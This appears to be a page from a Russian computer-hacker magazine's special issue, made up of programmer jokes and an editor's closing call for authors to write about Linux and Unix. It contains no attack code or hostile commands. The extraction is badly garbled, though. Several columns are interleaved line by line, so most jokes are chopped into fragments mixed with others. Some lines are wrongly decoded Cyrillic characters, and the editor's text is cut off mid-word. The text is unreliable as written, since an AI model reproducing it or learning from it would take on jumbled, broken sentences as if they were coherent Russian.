- Тоже в Гейтса, чтобы уж наверняка... |
Кругом компы, сеток - видимо-невидимо. |
Встречаются два программера, и один |
||
|
|
|
|
|
|
- Вот это - рай, будешь здесь юзером. |
|
|
|
|
|
|
|
||
|
|
|
Работа пpогpаммиста и шамана имеет много |
|
вает другого: |
||
|
|
|
общего - оба боpмочyт непонятные слова, со- |
- À àä? |
- Ты чего такой грустный? |
||
|
|
|
|||||
|
|
|
веpшают непонятные действия и не могyт |
- А ад здесь же - только сисопом... |
- Да вот, комп вечером упал. |
||
|
|
|
объяснить, как оно pаботает. |
|
- Ну да ты что, его до сих пор не поднял? |
||
|
|
|
|
|
|
Программист ставит себе на тумбочку перед |
- Поднять-то - поднял, но он со стола |
|
|
|
Разговаривают в троллейбусе два программера: |
сном два стакана. Один с водой - на случай, ес- |
|
||
|
|
|
- Знаешь, у меня с писюком что-то. |
ли захочет ночью пить. А второй - пустой - на |
Звонок в службу технической поддержки: |
||
|
|
|
Весь троллейбус прислушивается. |
случай, если не захочет. |
- У меня компьютер не работает! |
||
|
- À ÷òî íå òàê? |
Девчонка-программер едет в трамвае, читает |
- После чего это произошло? |
||||
|
- Да висит часто. |
|
|||||
|
|
|
- Может, зараза какая? |
книгу “Язык Ада”. |
- Я его включил - загрузился Нортон. |
||
|
|
|
|||||
|
|
|
- Проверял - все в поряде. |
Старушка смотрит на девушку, смотрит на кни- |
у меня слева диск С: и справа диск С:. |
||
|
|
|
- А сильно висит? |
гу, крестится и в ужасе выбегает на следующей |
мал - на фиг мне два диска С:? И стер |
||
|
|
|
- |
Сильно, |
тремя пальцами не поможешь... |
остановке. |
чертовой матери. |
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
Зачатие |
программиста: |
У программиста спрашивают: |
Разговор двух программистов: |
|
|
|
|
1. Connect |
|
- Hе помнишь, сколько будет два в четвеpтой? |
- Что пишешь? |
|
|
|
|
|
||||
|
|
|
2. Download |
- (моментально) Шестнадцать. |
- Откомпилим - узнаем! |
||
|
|
|
3. Disconnect |
- А шестнадцать в четвеpтой? |
Приходит один программист к другому: |
||
|
|
|
4. UnRar (ЕТА: 9 месяцев) |
- (через секунду) Шестьдесят пять тысяч пять- |
|||
|
|
|
|
|
|
сот тpидцать |
- Слышь, Петя, мне генератор случайных |
|
|
|
Приходит программист к окулисту. Тот его уса- |
шесть. |
нужен. |
||
|
|
|
|||||
|
|
|
живает напротив таблицы, берет указку: |
- Вот голова, ну ты даешь!!! Hу, а тpи в чет- |
- Четырнадцать! |
||
|
|
|
- Читайте! - “БНОПНЯ”... Доктор, у вас что-то не |
âåpòîé? |
|
||
|
|
|
то с кодировкой! |
- (после паузы) Hе помню точно. Дpобное число |
Пpиходит пpогpаммист к пианистy - |
||
|
|
|
|
|
|
получается. |
на новый pояль. |
|
|
|
Коврик для мышки выполнил недопустимую |
|
Долго ходит вокpyг, хмыкает, потом |
||
|
|
|
операцию и будет свернут. |
Программист с женой отправились в магазин. |
- Клава неyдобная - всего 84 клавиши, |
||
|
|
|
|
|
|
Купили три сумки продуктов. Выходят, и тут же- |
фyнкциональных, ни одна не подписана, |
|
|
|
Наркомана, Алика и программера спашивают: а |
на говорит: слушай, молоко-то я и забыла - пос- |
шифт нажимать ногой - оpигинально. |
||
|
|
|
что бы вы делали, если бы вдруг проснулись в |
той тут, покарауль наши три сумки, а я сейчас |
Беседуют два программера: |
||
|
|
|
|||||
|
|
|
80-ì ãîäó? |
быстро куплю и вернусь. |
|||
|
|
|
Наркоман говорит: «Я бы пошел в аптеку, купил |
Возвращается - программер стоит припухший, |
- Блин, вчера моя жена мне позвонила, |
||
|
|
|
бы кучу таблеток без рецепта и отъехал...» |
сумки с места на место переставляет: |
трубку снял... |
||
|
|
|
Алик говорит: «А я бы упился водки по рубь-де- |
- Ты сказала, что здесь три сумки, а их только |
- È ÷òî? |
||
|
|
|
ñÿòü». |
äâå! |
- Да болтали полтора часа... |
||
|
|
|
|||||
|
|
|
А программер сидит грустный. У него спраши- |
|
|
||
|
|
|
вают: ты чего? А он и отвечает: «А что, опять за |
- Hî èõ áûëî òðè! |
Ìàíÿ: |
||
|
|
|
ЕС садиться?» |
|
- Ва-ань, дома жpать нечего! |
||
|
|
|
|
|
|
Программист: |
Âàíÿ: |
|
|
|
|
|
|
|
|
|
|
|
Все настоящие программисты делятся на три |
|
- Отвали. |
||
|
|
|
категории: |
- Hет, давай вместе считать: 0, 1, 2... |
- Ва-ань, последние носки тебе штопаю! |
||
|
|
|
на тех, кто пишет программы, завершающиеся |
|
- Отвали. |
||
|
|
|
по нажатию |
Пpогpаммист увидел HЛО: |
- Âà-àíü, ñòàpøåìy çàâòpà â øêîëy èäòè, |
||
|
|
|
|||||
|
|
|
F10, Alt-F4, Alt-X. Все остальные принципы деле- |
- У кого-то диск полетел... |
го ботинки pазвалились! |
||
|
|
|
|
|
|
|
|
|
|
|
ния надуманны. |
|
- Отвали ты от меня, дypа хpенова! У |
||
|
|
|
|
|
|
Идет программист по улице, видит - его прия- |
за Интеpнет не плачено, а ты тyт со |
|
|
|
Умер программер и попал в чистилище. Судили |
тель на новеньком красном “Ferrari 512TR”. |
хренью лезешь!!! |
||
|
|
|
его - ну, говорят, ни туды, ни сюды. Сам выби- |
- Откуда такая машина?! |
|
||
|
|
|
|
|
|
|
|
128 |
0080 |
ЗОВ РЕДАКТОРА |
>СПЕЦВЫПУСК #4 |
ПРОНИКСЯ? |
|||
|
Мы не остановимся на |
||
|
этом. В следующем |
|
|
|
спецвыпуске Х ты |
|
|
|
узнаешь все о |
|
|
|
Красных Шапочках, |
|
|
|
Пингвинах и прочих |
Òû |
|
|
LINU* и UNIXоидах! |
||
|
научишься делать то, |
||
|
о чем раньше и |
|
|
|
подумать-то боялся, |
|
|
|
все твои противники |
||
|
надолго упадут в |
|
|
|
глубокий даун, а твоя |
||
|
машина станет |
|
|
|
неприступной для |
|
|
|
любого, посягнувшего |
||
|
íà íåå!.. |
|
|
|
Постой-ка, а может, |
|
|
|
ты уже давно |
|
|
|
Юниксоид? Или |
|
|
|
Линуксоид? Ты все |
|
|
|
знаешь об этой |
|
|
|
системе? Ты почти |
|
|
|
всЕ умеешь? А |
|
|
|
главное - ты хочешь |
||
|
и можешь рассказать |
||
|
об этом достой |
|
|
|
слушателям? Тог |
|
|
|
ïèøè ñþäà, íà |
|
|
|
holod@xakep.ru, |
|
|
|
авторов для со |
|
|
|
спецвыпуска Х, |
|
|
|
посвященного э |
|
|
|
Осям, в самом р |
|
|
|
ß æäó... |
|